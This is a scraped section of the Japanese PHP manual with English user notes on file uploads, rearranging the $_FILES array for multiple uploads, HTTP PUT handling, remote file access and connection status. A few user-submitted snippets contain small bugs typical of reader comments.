Seems to be corrected since php-7.1.0beta3 (https://github.com/php/php-src/commit/cb4c195f0b85ca5d91fee1ebe90105b8bb68356c)
Nirmal Natarajan 11-Dec-2009 08:23
If using IIS 7.0 or above, the Request Filtering is enabled by default and the max allowed content length is set to 30 MB.

One must change this value if they want to allow file uploads of more than 30 MB.

Sample web.config entry:

<configuration>
    </system.webServer>
        <security>
            <requestFiltering>
                <requestLimits maxAllowedContentLength="314572800"/>
            </requestFiltering>
        </security>
    </system.webServer>
</configuration>

The above setting will allow 300 MB of data to be sent as a request. Hope this helps someone.
dg at artegic dot de 06-Dec-2009 11:57
In case of non-deterministic occurence of the UPLOAD_ERR_PARTIAL error:  The HTTPD (e.g. Apache) should respond with a 'Accept-Ranges: none' header field.
anders jenbo pc dk 02-Oct-2007 03:22
A responce to admin at creationfarm dot com, Mac OS X and Windows running on a NTFS disk also uses a multi stream file system. Still only the data stream in transfared on http upload. It is preferable to pack Mac OS X files in .dmg files rathere then zip but the avarage user will find zip much easir and they are supported on more platforms.
oliver dot schmidt at drehsinn dot de 09-Dec-2006 10:02
If you want to use open_basedir for securing your server (which is highly recommended!!!) remember to add your tmp dir to the open_basedir value in php.ini.

Example: open_basedir = <your htdocs root, etc...>:/tmp

(Tested on gentoo Linux, Apache 2.2, PHP 5.1.6)
tjaart at siam-data-services dot com 22-May-2005 01:27
Took me a while to figure this one out...

I think this is actually a header problem, but it only
happens when doing a file upload.

If you attept a header("location:http://...) redirect after
processing a $_POST[''] from a form doing a file upload
(i.e. having enctype="multipart/form-data"), the redirect
doesn't work in IE if you don't have a space between
location: & http, i.e.
header("location:http://...)  vs
header("location: http://...)

===================================
<?php
if ($_POST['submit']=='Upload') {
    // Process File and the redirect...
    header("location: http://"..."/somewhere.php");
    exit;
}
?>
<html><head></head><body>
<form enctype="multipart/form-data" action="upload.php" method="POST">
    <input type="hidden" name="MAX_FILE_SIZE" value="20000">
    Your file: <input name="filename" type="file">
    <input name="submit" type="submit" value="Upload">
</form>
</body></html>
===================================

This only happens if all of the following are true:
header("location:http://...) with no space
Form being processed has enctype="multipart/form-data"
Browser=IE

To fix the problem, simply add the space.

Hope this helps someone else.
amalcon _a_t_ eudoramail _d_o_t_ com 11-Aug-2004 02:35
Note that, when you want to upload VERY large files (or you want to set the limiters VERY high for test purposes), all of the upload file size limiters are stored in signed 32-bit ints.  This means that setting a limit higher than about 2.1 GB will result in PHP seeing a large negative number.  I have not found any way around this.
morganaj at coleggwent dot ac dot uk 21-Oct-2003 09:53
Here is another that may make your upload fall over.  If you are using Squid or similar proxy server make sure that this is not limiting the size of the HTTP headers. This took me weeks to figure out!
tomcashman at unitekgroup dot com 09-Jun-2003 06:59
For apache, also check the LimitRequestBody directive.
If you're running a Red Hat install, this might be set in /etc/httpd/conf.d/php.conf.
By default, mine was set to 512 KB.
sebastian at drozdz dot ch 28-Apr-2003 03:59
It's important that the variable 'open_basedir' in php.ini isn't  set to a directory that doesn't not includes tempupload directory
admin at creationfarm dot com 04-Feb-2003 08:16
The macintosh OS (not sure about OSx) uses a dual forked file system, unlike the rest of the world ;-). Every macintosh file has a data fork and a resource fork. When a dual forked file hits a single forked file system, something has to go, and it is the resource fork. This was recognized as a problem (bad idea to begin with) and apple started recomending that developers avoid sticking vital file info in the resource fork portion of a file, but some files are still very sensitive to this. The main ones to watch out for are macintosh font files and executables, once the resource fork is gone from a mac font or an executable it is useless. To protect the files they should be stuffed or zipped prior to upload to protect the resource fork.

Most mac ftp clients (like fetch) allow files to be uploaded in Macbinhex, which will also protect the resource fork when transfering files via ftp. I have not seen this equivilent in any mac browser (but I haven't done too much digging either).

FYI, apple does have an old utility called ResEdit that lets you manipulate the resource fork portion of a file.


複数ファイルのアップロード

input で異なった name を 使用することにより、複数のファイルをアップロードすることができます。

複数のファイルを一度にアップロードし、自動的にまとめられた情報を 配列で取得することが可能です。これを行うには、HTML フォームで 複数選択可能なセレクトやチェックボックスを指定する際と同様、 配列を用いた投稿用の構文を使用する必要があります。

例1 複数ファイルのアップロード

<form action="file-upload.php" method="post" enctype="multipart/form-data">
  Send these files:<br />
  <input name="userfile[]" type="file" /><br />
  <input name="userfile[]" type="file" /><br />
  <input type="submit" value="Send files" />
</form>

上記のフォームで投稿された場合、配列 $_FILES['userfile'], $_FILES['userfile']['name'], $_FILES['userfile']['size'] が設定されます。

例えば、ファイル名が /home/test/review.html および /home/test/xwp.out のファイルが 投稿されたとしましょう。この場合、 $_FILES['userfile']['name'][0] の値が review.html となり、 $_FILES['userfile']['name'][1] の値が xwp.out となります。 同様に、$_FILES['userfile']['size'][0] の値が review.html のファイルサイズといったように なります。

$_FILES['userfile']['name'][0], $_FILES['userfile']['tmp_name'][0], $_FILES['userfile']['size'][0], $_FILES['userfile']['type'][0] も設定されます。

警告

PHP 5.2.12 以降、 max_file_uploads は一回のリクエストあたりでアップロードできるファイルの数の制限値となります。 フォームからの一回のリクエストで、 これを超える数のファイルをアップロードしてしまわないようにしましょう。

User Contributed Notes

simbiat at outlook dot com 16-Feb-2021 12:12
While code from phpuser.at.gmail.dot.com is good and i.g.e.o@ya.(dot).ru is even better, there is no end to perfection. We can live without temporary variables
<?php
foreach ($_FILES as $field=>$files) {
    #Check if multiple files were uploaded to a field and process the values accordingly
    if (is_array($files['name'])) {
        foreach ($files['name'] as $key=>$file) {
            $_FILES[$field][$key]['name'] = $file;
            $_FILES[$field][$key]['type'] = $files['type'][$key];
            $_FILES[$field][$key]['size'] = $files['size'][$key];
            $_FILES[$field][$key]['tmp_name'] = $files['tmp_name'][$key];
            $_FILES[$field][$key]['error'] = $files['error'][$key];
        }
    } else {
        $_FILES[$field][0]['name'] = $files['name'];
        $_FILES[$field][0]['type'] = $files['type'];
        $_FILES[$field][0]['size'] = $files['size'];
        $_FILES[$field][0]['tmp_name'] = $files['tmp_name'];
        $_FILES[$field][0]['error'] = $files['error'];
    }
    unset($_FILES[$field]['name'], $_FILES[$field]['type'], $_FILES[$field]['size'], $_FILES[$field]['tmp_name'], $_FILES[$field]['error']);
}
?>
sabryabdelmohsen at gmail dot com 08-Sep-2020 05:48
function reArrayImages($file_post) {
    $file_ary = [];
    $file_keys = array_keys($file_post);
    foreach ($file_post as $key => $value) {
      foreach ($value as $key2 => $value2) {
        $file_ary[$key2][$key] = $value2;
      }
    }
    return $file_ary;
}
i.g.e.o@ya (dot) ru 22-May-2020 05:10
A bit update to 14 year ago note from "phpuser at gmail dot com".
That update converts to a really more friendly array form incoming _POST info for uploaded files.
And that variants works identical for non-multiple uploads and multiple uploads:
<?php
//Функция переформатирует массив поданных POST'ом файлов
function reArrayFiles(&$file_post){
    $isMulti    = is_array($file_post['name']);
    $file_count    = $isMulti?count($file_post['name']):1;
    $file_keys    = array_keys($file_post);

    $file_ary    = [];    //Итоговый массив
    for($i=0; $i<$file_count; $i++)
        foreach($file_keys as $key)
            if($isMulti)
                $file_ary[$i][$key] = $file_post[$key][$i];
            else
                $file_ary[$i][$key]    = $file_post[$key];

    return $file_ary;
}
?>
jefrey no spam please at jefrey dot ml 19-Jul-2016 02:39
Once I had to do a maintenance in a huge ERP that had several multiple upload inputs inside an array. Just like this:

<form method="post" enctype="multipart/form-data">
<input type="file" multiple name="upload[avatar]" />
<input type="file" multiple name="upload[attachment]" />
<input type="file" multiple name="upload2[avatar]" />
<input type="file" multiple name="upload2[attachment]" />
<input type="submit" />
</form>

The $_FILES array is created like this:

Array
(
    [upload] => Array
        (
            [name] => Array
                (
                    [avatar] => teste.c
                    [attachment] => teste
                )

            [type] => Array
                (
                    [avatar] => text/x-csrc
                    [attachment] => application/octet-stream
                )

            [tmp_name] => Array
                (
                    [avatar] => /opt/lampp/temp/phpuf3KNj
                    [attachment] => /opt/lampp/temp/php0yPZap
                )

            [error] => Array
                (
                    [avatar] => 0
                    [attachment] => 0
                )

            [size] => Array
                (
                    [avatar] => 1960
                    [attachment] => 8661
                )

        )

    [upload2] => Array
        (
            [name] => Array
                (
                    [avatar] => jefrey.html
                    [attachment] => notas.txt
                )

            [type] => Array
                (
                    [avatar] => text/html
                    [attachment] => text/plain
                )

            [tmp_name] => Array
                (
                    [avatar] => /opt/lampp/temp/php87nfyu
                    [attachment] => /opt/lampp/temp/phpUBlvVz
                )

            [error] => Array
                (
                    [avatar] => 0
                    [attachment] => 0
                )

            [size] => Array
                (
                    [avatar] => 583
                    [attachment] => 191
                )

        )

)

I've managed to re-arrange this array like this:

Array
(
    [upload] => Array
        (
            [avatar] => Array
                (
                    [name] => teste.c
                    [type] => text/x-csrc
                    [tmp_name] => /opt/lampp/temp/phpuf3KNj
                    [error] => 0
                    [size] => 1960
                )

            [attachment] => Array
                (
                    [name] => teste
                    [type] => application/octet-stream
                    [tmp_name] => /opt/lampp/temp/php0yPZap
                    [error] => 0
                    [size] => 8661
                )

        )

    [upload2] => Array
        (
            [avatar] => Array
                (
                    [name] => jefrey.html
                    [type] => text/html
                    [tmp_name] => /opt/lampp/temp/php87nfyu
                    [error] => 0
                    [size] => 583
                )

            [attachment] => Array
                (
                    [name] => notas.txt
                    [type] => text/plain
                    [tmp_name] => /opt/lampp/temp/phpUBlvVz
                    [error] => 0
                    [size] => 191
                )

        )

)

Here's my snippet:
<?php
function reArrayFilesMultiple(&$files) {
    $uploads = array();
    foreach($_FILES as $key0=>$FILES) {
        foreach($FILES as $key=>$value) {
            foreach($value as $key2=>$value2) {
                $uploads[$key0][$key2][$key] = $value2;
            }
        }
    }
    $files = $uploads;
    return $uploads; // prevent misuse issue
}
?>
lookphp at gmail dot com 10-Apr-2016 05:50
This is a very simple example:

Part I : HTML

<!doctype html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Document</title>
</head>
<body>
    <form action="upload.php" method="post" multipart="" enctype="multipart/form-data">
        <input type="file" name="img[]" multiple>
        <input type="submit">
    </form>
</body>
</html>

Part II : PHP

<?php
echo '<pre>';
$img = $_FILES['img'];

if(!empty($img))
{
    $img_desc = reArrayFiles($img);
    print_r($img_desc);

    foreach($img_desc as $val)
    {
        $newname = date('YmdHis',time()).mt_rand().'.jpg';
        move_uploaded_file($val['tmp_name'],'./uploads/'.$newname);
    }
}

function reArrayFiles($file)
{
    $file_ary = array();
    $file_count = count($file['name']);
    $file_key = array_keys($file);

    for($i=0;$i<$file_count;$i++)
    {
        foreach($file_key as $val)
        {
            $file_ary[$i][$val] = $file[$val][$i];
        }
    }
    return $file_ary;
}
Eric 28-Nov-2015 11:17
This is just a modification of the code which is the top note by "phpuser" here. His/her version requires that the $file_post array passed in to the function was created by a form submitted with the multiple attribute set. With multiple set in the html input tag, $_FILES["fileInputName"]["name"] is an array no matter if only one file is sent or multiple. But when <input type="file"> is used without the multiple attribute then $_FILES["fileInputName"]["name"] is not an array, it contains the the string with the filename. To use this neat function with or without multiple set and to get back an array which you can "foreach" over in either case, use this modification:

function reArrayFiles(&$file_post)
{
    $file_ary = array();
    $multiple = is_array($file_post['name']);

    $file_count = $multiple ? count($file_post['name']) : 1;
    $file_keys = array_keys($file_post);

    for ($i=0; $i<$file_count; $i++)
    {
        foreach ($file_keys as $key)
        {
            $file_ary[$i][$key] = $multiple ? $file_post[$key][$i] : $file_post[$key];
        }
    }

    return $file_ary;
}
Roman 29-Oct-2015 12:56
function reorganize($files) {
    foreach ($files as $var => $params) {
        foreach ($params as $name => $i) {
            foreach ($i as $num => $val) {
                $images[$var][$name] = $val;
                $arr[$num] = $images;
            }
        }
    }
    return $arr;
}

Array (
     [0] => Array (
         [image] => Array (
             [name] => white-rabbit-med-crop.jpg
             [type] => image/jpeg
             [tmp_name] => E:\xampp\tmp\phpC008.tmp
             [error] => 0
             [size] => 343326 )
        )
    [1] => Array (
         [image] => Array (
             [name] => white-rabbit-med-crop.jpg
             [type] => image/jpeg
             [tmp_name] => E:\xampp\tmp\phpC008.tmp
             [error] => 0
             [size] => 1429802 )
        )
)
swayalex at gmail dot com 21-Oct-2015 02:20
Recursive solution for complex situations (supports any nested arrays including indexed arrays)

function getFixedFilesArray() {
    $walker = function ($arr, $fileInfokey, callable $walker) {
        $ret = array();
        foreach ($arr as $k => $v) {
            if (is_array($v)) {
                $ret[$k] = $walker($v, $fileInfokey, $walker);
            } else {
                $ret[$k][$fileInfokey] = $v;
            }
        }
        return $ret;
    };

    $files = array();
    foreach ($_FILES as $name => $values) {
        // init for array_merge
        if (!isset($files[$name])) {
            $files[$name] = array();
        }
        if (!is_array($values['error'])) {
            // normal syntax
            $files[$name] = $values;
        } else {
            // html array feature
            foreach ($values as $fileInfoKey => $subArray) {
                $files[$name] = array_replace_recursive($files[$name], $walker($subArray, $fileInfoKey, $walker));
            }
        }
    }

    return $files;
}
Pako 25-Aug-2015 01:30
If you want to upload multiple file at once, remember "multiple" attribute:

<input type="file" multiple="multiple" name="file[]" enctype="multipart/form-data"/>
javad dot geek at gmail dot com 07-Feb-2014 02:14
$countarray = count($_FILES['uploadfile']['name']);
                $newarray = array();
                for($i=0;$i<$countarray;$i++){
                    $newarray[$i]['name']=$_FILES['uploadfile']['name'][$i];
                    $newarray[$i]['type']=$_FILES['uploadfile']['type'][$i];
                    $newarray[$i]['tmp_name']=$_FILES['uploadfile']['tmp_name'][$i];
                    $newarray[$i]['error']=$_FILES['uploadfile']['error'][$i];
                    $newarray[$i]['size']=$_FILES['uploadfile']['size'][$i];
                }
wizzard351 at yahoo dot com 27-Jan-2014 06:12
This is also needed for <input type=file multiple> elements.

So, if you have an input element like this:
<input type="file" multiple="multiple" name="foobar" />
This should be written as
<input type="file" multiple="multiple" name="foobar[]" />
else you'll only be able to get one of the files.
ohcnim at hotmail dot com 16-Aug-2013 11:18
by simply naming differently each file input you'll get easily accesible arrays from $_FILES, in the form $_FILES['input_name']['file_attribute'].  For example:

$_FILES['input_name1']['name']...['input_name1']['size']
$_FILES['input_name2']['name']...['input_name2']['size']
$_FILES['input_nameX']['name']...['input_nameX']['size']
timspeelman at live dot nl 18-Nov-2011 03:48
The cleanest way to rearrange the $_FILES

<?php
function rearrange( $arr ){
    foreach( $arr as $key => $all ){
        foreach( $all as $i => $val ){
            $new[$i][$key] = $val;
        }
    }
    return $new;
}
?>
contato at dgmike dot com dot br 19-Jul-2011 11:33
I prefer something like this!

<?php
public function arrayImages ( &$file_post )
{
    if( empty( $file_post ) ) {
        return $file_post;
    }
    if( 'array'!==gettype($file_post['name']) ) {
        return $file_post;
    }
    $keys = array_keys($file_post['name']);
    $file_array = array();
    foreach ($keys as $key) {
       foreach ($file_post as $res=>$item) {
           $file_array[$key][$res] = $item[$key];
       }
   }
   return $file_array;
}
?>
Corey Ballou 25-Mar-2010 01:10
Here is a function to fix the indices of a multi-dimensional for easier parsing when dealing with file uploads.  It takes a single $_FILES field array as a parameter and separates each individual uploaded file by numeric key.  This allows for iterating like:

<?php
fixFilesArray($_FILES['array_of_files']);
foreach ($_FILES['array_of_files'] as $position => $file) {
    // should output array with indices name, type, tmp_name, error, size
    var_dump($file);
}
?>

Here's the code:

<?php
/**
 * Fixes the odd indexing of multiple file uploads from the format:
 *
 * $_FILES['field']['key']['index']
 *
 * To the more standard and appropriate:
 *
 * $_FILES['field']['index']['key']
 *
 * @param array $files
 * @author Corey Ballou
 * @link http://www.jqueryin.com
 */
function fixFilesArray(&$files)
{
    $names = array( 'name' => 1, 'type' => 1, 'tmp_name' => 1, 'error' => 1, 'size' => 1);

    foreach ($files as $key => $part) {
        // only deal with valid keys and multiple files
        $key = (string) $key;
        if (isset($names[$key]) && is_array($part)) {
            foreach ($part as $position => $value) {
                $files[$position][$key] = $value;
            }
            // remove old key reference
            unset($files[$key]);
        }
    }
}
?>
jess at semlabs dot co dot uk 03-Mar-2009 12:32
If you try and upload files with multi-dimensional names like this:

<input type="file" name="submission[screenshot]" />
<input type="file" name="other[dem][][img][]" />

You will get an unexpected format like this:

<?php
array(
    'submission' => array
        (
            'name' => array( 'screenshot' => 'monster_wallpaper.jpg' ),
            'type' => array( 'screenshot' => 'image/jpeg' ),
            'tmp_name' => array( 'screenshot' => '/tmp/php48lX2Y' ),
            'error' => array( 'screenshot' => 0 ),
            'size' => array( 'screenshot' => 223262 ),
        ),
....
?>

You can use the following function to re-format the array recursively in the usual format:

<?php
function format_files_array( $files, $name = null, &$new = false, $path = false ){
    $names = array( 'name' => 'name', 'type' => 'type', 'tmp_name' => 'tmp_name', 'error' => 'error', 'size' => 'size' );

    foreach( $files as $key => &$part )
    {
        $key = ( string ) $key;
        if( in_array( $key, $names ) )
            $name = $key;
        if( !in_array( $key, $names ) )
            $path[] = $key;
        if( is_array( $part ) )
            $part = format_files_array( $part, $name, $new, $path );
        elseif( !is_array( $part ) )
        {
            $current =& $new;
            foreach( $path as $p )
                $current =& $current[$p];
            $current[$name] = $part;
            unset( $path );
            $name = null;
        }
    }

    return $new;
}
?>
hotmail.com[at]notdefix 27-Sep-2007 07:47
With multiple file uploads

post_max_size: the total amount of data posted by the client (all files, and all other form field)

upload_max_filesize: the maximum size of 1 single file. (just like <input type="hidden" name="MAX_FILE_SIZE" value="..."/>)

so, with the directives:
 post_max_size 25M
 upload_max_filesize 2M

you can send 12 files of up to 2 MB and use up to 1 MB for your additional form-values.

As long as you read only a single copy of 1 file into memory, the memory_limit directive can be held reasonable small as well.
phpuser at gmail dot com 26-May-2005 08:09
When uploading multiple files, the $_FILES variable is created in the form:

Array
(
    [name] => Array
        (
            [0] => foo.txt
            [1] => bar.txt
        )

    [type] => Array
        (
            [0] => text/plain
            [1] => text/plain
        )

    [tmp_name] => Array
        (
            [0] => /tmp/phpYzdqkD
            [1] => /tmp/phpeEwEWG
        )

    [error] => Array
        (
            [0] => 0
            [1] => 0
        )

    [size] => Array
        (
            [0] => 123
            [1] => 456
        )
)

I found it made for a little cleaner code if I had the uploaded files array in the form

Array
(
    [0] => Array
        (
            [name] => foo.txt
            [type] => text/plain
            [tmp_name] => /tmp/phpYzdqkD
            [error] => 0
            [size] => 123
        )

    [1] => Array
        (
            [name] => bar.txt
            [type] => text/plain
            [tmp_name] => /tmp/phpeEwEWG
            [error] => 0
            [size] => 456
        )
)

I wrote a quick function that would convert the $_FILES array to the cleaner (IMHO) array.

<?php

function reArrayFiles(&$file_post) {

    $file_ary = array();
    $file_count = count($file_post['name']);
    $file_keys = array_keys($file_post);

    for ($i=0; $i<$file_count; $i++) {
        foreach ($file_keys as $key) {
            $file_ary[$i][$key] = $file_post[$key][$i];
        }
    }

    return $file_ary;
}

?>

Now I can do the following:

<?php

if ($_FILES['upload']) {
    $file_ary = reArrayFiles($_FILES['ufile']);

    foreach ($file_ary as $file) {
        print 'File Name: ' . $file['name'];
        print 'File Type: ' . $file['type'];
        print 'File Size: ' . $file['size'];
    }
}

?>


PUT メソッドのサポート

PHP は、クライアントがサーバーにファイルを保存するための HTTP PUT メソッドのサポートを提供します。 PUT リクエストは POST リクエストによるファイルアップロードよりもシンプルであり、 次のような形になります。

PUT /path/filename.html HTTP/1.1

これは、通常、リモートクライアントが /path/filename.html が指す内容を Web ツリーに保存したいことを意味します。 Apache または PHP に おいて全ての人が Web ツリー上の任意のファイルを自動的に上書きできる ようにするというのは明らかに良い発想ではありません。よって、このような リクエストを処理する際には、まずそのリクエストを処理する特定の PHP スクリプトが必要なことを web サーバーに通知する必要があります。 Apache においては、Script ディレクティブにより これを行うことができます。これは、Apache 設定ファイルのほぼ任意の 場所に置くことができます。一般的なのは、<Directory> ブロックまたは <VirtualHost> ブロックの中です。次のように指定します。

Script PUT /put.php

これにより、この行を指定したコンテキストにマッチする URI を有する すべての PUT リクエストが put.php スクリプトに送られるよう Apache に 指定します。 もちろん、拡張子 .php により PHP が実行されるよう設定され、 PHP がアクティブであることが必要です。 このスクリプトに対するすべての PUT リクエストの対象リソースは、 スクリプト自身とします。アップロードされるファイルのファイル名ではありません。

PHP では、put.php の中で以下のようなことを行います。 これは、アップロードされたファイルをサーバー上のファイル myputfile.ext にコピーします。 ファイルコピーを行う前には、 何らかの確認やユーザー認証を行いたくなるかもしれません。

例1 HTTP PUT されたファイルの保存

<?php
/* PUT されたデータは標準入力からやってきます */
$putdata = fopen("php://input", "r");

/* 書き込みモードでファイルをオープンします */
$fp = fopen("myputfile.ext", "w");

/* データを 1 KB 単位で読み込み、
   ファイルに書き込みます */
while ($data = fread($putdata, 1024))
  fwrite($fp, $data);

/* ストリームを閉じます */
fclose($fp);
fclose($putdata);
?>

User Contributed Notes

San 19-Mar-2014 09:33
Instead of using fread fwrite to save uploaded content to a file.
stream_copy_to_stream is much cleaner.
kicaj 28-Nov-2013 08:46
to create variable such as $_GET, $_POST use
that solution

<?php
    $_SERVER['REQUEST_METHOD']==="PUT" ? parse_str(file_get_contents('php://input', false , null, -1 , $_SERVER['CONTENT_LENGTH'] ), $_PUT): $_PUT=array();
?>
micronix at gmx dot net 10-Sep-2010 07:43
Hello PHP World After many Hours of worryness :=)

I have found the Solution for Resume or Pause Uploads
In this Code Snippet it is the Server Side not Client on any Desktop Programm you must use byte ranges to calculate the uploaded bytes and missing of total bytes.

Here the PHP Code

<?php
$CHUNK = 8192;

        try {
            if (!($putData = fopen("php://input", "r")))
                throw new Exception("Can't get PUT data.");

            // now the params can be used like any other variable
            // see below after input has finished

            $tot_write = 0;
            $tmpFileName = "/var/dev/tmp/PUT_FILE";
            // Create a temp file
            if (!is_file($tmpFileName)) {
                fclose(fopen($tmpFileName, "x")); //create the file and close it
                // Open the file for writing
                if (!($fp = fopen($tmpFileName, "w")))
                    throw new Exception("Can't write to tmp file");

                // Read the data a chunk at a time and write to the file
                while ($data = fread($putData, $CHUNK)) {
                    $chunk_read = strlen($data);
                    if (($block_write = fwrite($fp, $data)) != $chunk_read)
                        throw new Exception("Can't write more to tmp file");

                    $tot_write += $block_write;
                }

                if (!fclose($fp))
                    throw new Exception("Can't close tmp file");

                unset($putData);
            } else {
                // Open the file for writing
                if (!($fp = fopen($tmpFileName, "a")))
                    throw new Exception("Can't write to tmp file");

                // Read the data a chunk at a time and write to the file
                while ($data = fread($putData, $CHUNK)) {
                    $chunk_read = strlen($data);
                    if (($block_write = fwrite($fp, $data)) != $chunk_read)
                        throw new Exception("Can't write more to tmp file");

                    $tot_write += $block_write;
                }

                if (!fclose($fp))
                    throw new Exception("Can't close tmp file");

                unset($putData);
            }

            // Check file length and MD5
            if ($tot_write != $file_size)
                throw new Exception("Wrong file size");

            $md5_arr = explode(' ', exec("md5sum $tmpFileName"));
            $md5 = $md5sum_arr[0];
            if ($md5 != $md5sum)
                throw new Exception("Wrong md5");
        } catch (Exception $e) {
            echo '', $e->getMessage(), "\n";
        }
?>
yaogzhan at gmail dot com 14-Dec-2005 04:01
PUT raw data comes in php://input, and you have to use fopen() and fread() to get the content. file_get_contents() is useless.

The HTTP PUT request MUST contain a Content-Length header to specify the length (in bytes) of the body, or the server will not be able to know when the input stream is over. This is the common problem for many to find the php://input empty if no such header available.

This should make PUT work properly on win32 using PHP5.1.1 and apache2.
warhog at warhog dot net 20-Sep-2005 01:22
NOTE: The <Script>-Directive can not be placed in .htaccess files.

So if you're having shared webspace and no access to the apache-configuration file you will have little chance to make something like this work.

But you can solve the problem, using mod_rewrite (for Apache) - for further information see the documentation at http://httpd.apache.org/docs/2.0/mod/mod_rewrite.html
gherson 15-Aug-2005 02:16
A Case Study:  To set up publishing with Netscape 7.2 Composer to Apache/PHP, no need to use CGI (which I tried unsuccessfully for too long) or to alter Apache's httpd.conf.  I needed only to click Publish As, fill in put2disk.php as the filename (where its contents are the below), and fill in that file's dir as the "Publishing address".
XAMPP 1.4.14: Apache/2.0.54 (Win32) mod_ssl/2.0.54 OpenSSL/0.9.7g PHP/5.0.4.

<? // filename: put2disk.php.

//file_put_contents ("get_def.out", print_r (get_defined_vars(), TRUE)); // debugging

// Two slurp methods: (a) didn't work, (b) did.
//$stdin_rsc = fopen("php://input", "r");
//$putdata='';
//while ($putdata .= fread($stdin_rsc, 1024)); // a. Hangs the "Publishing..." dialog.
//while (!feof($stdin_rsc)) $putdata.=fread($stdin_rsc, 8192); // b. Worked, but file_get_contents is faster.
//fclose($stdin_rsc);

// All that's nec:
$putdata=file_get_contents('php://input'); // Not php://stdin! (When the ability to see error messages isn't available, the doc (this manual page) needs to be more accurate.)

file_put_contents("stdin.out",$putdata);
?>
mikeb at mikebanahan dot com 03-Nov-2003 02:41
I have spent a lot of time trying to make PUT work with Apache 2.0.40. I have not yet been able to find any way of making the Script directive invoke php via mod_php, the only way has been to have a file called example.cgi and invoke it via CGI, with the file starting
#!/usr/bin/php
so the PHP interpreter is invoked through the CGI mechanism and not as a module.

If there IS a way of making it work 'right' I'd love to know! After six hours of messing around, I've settled for CGI. The error messages in the apache error log are significantly misleading and the whole thing has been an exercise in frustration.

Attempts to use AddHandler and all 'normal' ways of trying to persuade Apache to do this have been fruitless. It does seem as if PUT can only be handled by CGI invocation.


参考

  • ファイルシステムのセキュリティ

User Contributed Notes

There are no user contributed notes for this page.


リモートファイルの使用

php.iniでallow_url_fopenを有効にした場合、 ファイル名をパラメータとする関数の多くで HTTP および FTP のURL を使用することができます。加えて、 include、 include_once、 require および require_once 命令でURLを使用することができます (PHP 5.2.0 以降では、これらで使用するためには allow_url_include を有効にする必要があります)。 PHPがサポートしているプロトコルに関する詳細は サポートするプロトコル/ラッパーを参照してください。

例えば、リモートWebサーバーにファイルをオープンし、データを出力、デー タベースクエリーに使用するか、単にWebサイトのスタイルに合わせて出力 を行うことが可能です。

例1 リモートページのタイトルを得る

<?php
$file = fopen ("http://www.example.com/", "r");
if (!$file) {
    echo "<p>Unable to open remote file.\n";
    exit;
}
while (!feof ($file)) {
    $line = fgets ($file, 1024);
    /* タイトルとタグが同じ行にある場合のみ動作します。 */
    if (preg_match ("@\<title\>(.*)\</title\>@i", $line, $out)) {
        $title = $out[1];
        break;
    }
}
fclose($file);
?>

(正しいアクセス権限を有するユーザーとして接続した場合には) FTPサーバーにファイルを書き込むこともできます。 この方法では、新規ファイルを作成することのみができます。 既存のファイルを上書きしようとした場合には、 fopen()の処理は失敗します。

'anonymous' 以外のユーザーで接続を行う場合、URL の中で 'ftp://user:password@ftp.example.com/path/to/file' のようにユーザー名 (そして多分パスワードも) 指定する必要があります (Basic 認証を要求された際に HTTP 経由でファイルをアクセスする場合と同じ種類の構文を使用することができます)。

例2 リモートサーバーにデータを保存する

<?php
$file = fopen ("ftp://ftp.example.com/incoming/outputfile", "w");
if (!$file) {
    echo "<p>Unable to open remote file for writing.\n";
    exit;
}
/* データをここに書きます。 */
fputs ($file, $_SERVER['HTTP_USER_AGENT'] . "\n");
fclose ($file);
?>

注意:

上の例からリモートログに書きこむためにこの手法を使用することを考えるかも しれません。 しかし残念ながら、リモート上のファイルが既に存在する状態では fopen()をコールすることができないため、 それはできません。 分散ロギングのようなことを行うには、 syslog() の使用を考えてみてください。

User Contributed Notes

There are no user contributed notes for this page.


接続処理

PHP 内部で、接続ステータスが保持されます。 これは、次の 4 つの状態をとりえます。

  • 0 - NORMAL
  • 1 - ABORTED
  • 2 - TIMEOUT
  • 3 - ABORTED および TIMEOUT

通常 PHP が実行されている場合、NORMAL 状態がアクティブになります。 リモートクライアントが接続を切った場合、ABORTED 状態フラグが有効になります。 通常、リモートクライアントの接続断は、STOP ボタンを押すことにより発生します。 PHP 側の時間制限 (set_time_limit() 参照) にかかった場合、 TIMEOUT 状態フラグが有効になります。

スクリプトを終了させるためにクライアントとの接続を切断するかどうかを 決めることが出来ます。 時々、出力がどのリモートブラウザにも受信されない場合でも、 常にスクリプトの実行完了まで実行する方が便利であることがあります。 しかし、デフォルトの動作はリモートクライアントとの接続が断となった際にスクリプト の実行は破棄されます。 この動作は、php.ini ディレクティブ ignore_user_abort にて 設定できます。 同様に同じ意味を有する Apache httpd.conf ディレクティブ php_value ignore_user_abort または ignore_user_abort() 関数にて設定することも可能です。 PHP にユーザーによる破棄を無視するように設定していない場合、 ユーザーが破棄した場合、スクリプトの実行は終了します。 一つの例外は、register_shutdown_function() を用いて シャットダウン関数を定義した場合です。 シャットダウン関数を定義した場合、リモートユーザーが STOP ボタンを押した後、 次にスクリプトが何か出力を行おうとした場合、PHP は接続が破棄されたことを検知し、 シャットダウン関数がコールされます。 このシャットダウン関数は、スクリプトが正常に終了した 際にもコールされます。 このため、クライアントが接続を切断した場合に別の動作をさせたい場合に は、connection_aborted() 関数を使用することが 可能です。 この関数は、接続が破棄された場合に、true を返します。

スクリプトは、組み込みのスクリプトタイマーによっても終了することが できます。デフォルトのタイムアウトは、30 秒です。 これは、php.iniディレクティブ max_execution_time または同義の Apache httpd.conf ディレクティブ php_value max_execution_time を set_time_limit() 関数と同様に用いることにより 変更することが可能です。タイマーが切れた時、スクリプトは中断されます。 上記のクライアントが接続を切るケースのように シャットダウン関数が登録されている場合、この関数がコールされます。 このシャットダウン関数の中では、 connection_status() 関数のコールにより タイムアウトがシャットダウン関数のコールを生じさせるかどうかを 確認することができます。 この関数は、タイムアウトによりシャットダウン関数がコールされた 場合に 2 を返します。

もう一つ注意すべき点は、状態 ABORTED および TIMEOUT は同時にアクティブにできるということです。 これは、PHP をユーザーによる中断を無視するよう設定した場合に 可能です。 PHP は、ユーザーが接続を破棄しているが、スクリプトは 実行しつづけるということがある可能性があることに注意する 必要があります。 時間制限にかかって中断される場合、もしあればシャットダウン関数が コールされます。 ここで、connection_status() は 3 を返します。

User Contributed Notes

Marco 08-Mar-2017 05:58
The CONNECTION_XXX constants that are not listed here for some reason are:

0 = CONNECTION_NORMAL
1 = CONNECTION_ABORTED
2 = CONNECTION_TIMEOUT
3 = CONNECTION_ABORTED & CONNECTION_TIMEOUT

Number 3 is effectively tested like this:
if (CONNECTION_ABORTED & CONNECTION_TIMEOUT)
